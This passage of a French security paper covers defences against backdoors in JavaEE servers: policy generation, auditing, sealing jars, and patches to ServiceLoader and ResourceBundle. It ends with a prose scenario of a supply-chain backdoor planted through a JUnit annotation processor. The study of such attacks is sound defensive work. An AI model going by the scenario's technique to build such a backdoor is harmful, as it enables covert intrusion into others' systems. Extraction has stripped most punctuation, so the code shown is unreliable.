P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

